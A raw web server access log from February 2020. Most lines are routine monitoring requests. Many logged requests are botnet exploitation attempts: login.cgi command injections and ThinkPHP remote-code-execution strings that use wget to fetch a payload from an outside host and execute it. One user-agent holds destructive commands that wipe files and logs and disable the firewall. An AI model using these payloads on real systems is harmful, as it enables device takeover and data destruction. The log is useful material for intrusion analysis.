169.197.108.38 - - [19/Feb/2020:12:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
211.192.180.178 - - [19/Feb/2020:12:37:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [19/Feb/2020:12:37:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [19/Feb/2020:12:38:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [19/Feb/2020:12:42:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
94.60.123.74 - - [19/Feb/2020:12:42:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.98.131.36 - - [19/Feb/2020:12:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:12:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.168.251.57 - - [19/Feb/2020:12:49:26 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:12:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.44.123.203 - - [19/Feb/2020:12:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:12:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.47.22.77 - - [19/Feb/2020:12:51:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.47.22.77 - - [19/Feb/2020:12:51:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.47.22.77 - - [19/Feb/2020:12:51:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.47.22.77 - - [19/Feb/2020:12:51:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.47.22.77 - - [19/Feb/2020:12:52:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [19/Feb/2020:12:55:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:12:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [19/Feb/2020:12:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:12:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.170.220.69 - - [19/Feb/2020:13:02:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:13:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:13:03:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:13:03:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:13:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:13:04:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:13:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.240.21.24 - - [19/Feb/2020:13:07:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:13:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:13:14:09 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:13:14:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:13:14:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:13:14:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:13:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:13:15:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:13:15:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:13:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:13:16:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:13:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.8.199.150 - - [19/Feb/2020:13:16:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.8.199.150 - - [19/Feb/2020:13:17:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:13:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.80.79.215 - - [19/Feb/2020:13:23:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:13:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.124.168.148 - - [19/Feb/2020:13:24:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.119.91.186 - - [19/Feb/2020:13:24:31 +0100] "GET / HTTP/1.1" 200 1229 "https://naobumium.info/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
46.119.91.186 - - [19/Feb/2020:13:24:33 +0100] "GET / HTTP/1.1" 200 1229 "https://naobumium.info/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
46.119.91.186 - - [19/Feb/2020:13:24:34 +0100] "GET / HTTP/1.1" 200 1229 "https://naobumium.info/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
212.91.246.72 - - [19/Feb/2020:13:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.197.105.211 - - [19/Feb/2020:13:32:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:13:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.126.78.98 - - [19/Feb/2020:13:34:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:13:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.79.189.209 - - [19/Feb/2020:13:35:52 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:13:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [19/Feb/2020:13:37:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:13:37:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
134.35.167.234 - - [19/Feb/2020:13:37:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
220.121.0.69 - - [19/Feb/2020:13:37:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:13:37:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:13:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [19/Feb/2020:13:37:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:13:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.38.5.43 - - [19/Feb/2020:13:44:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
96.23.104.122 - - [19/Feb/2020:13:44:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
125.128.241.71 - - [19/Feb/2020:13:45:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [19/Feb/2020:13:45:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [19/Feb/2020:13:45:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [19/Feb/2020:13:45:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:13:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [19/Feb/2020:13:46:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:13:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.225.21.27 - - [19/Feb/2020:13:52:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:13:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.144.31.245 - - [19/Feb/2020:13:52:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:13:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [19/Feb/2020:13:54:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:13:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:13:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.205.29.19 - - [19/Feb/2020:14:01:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
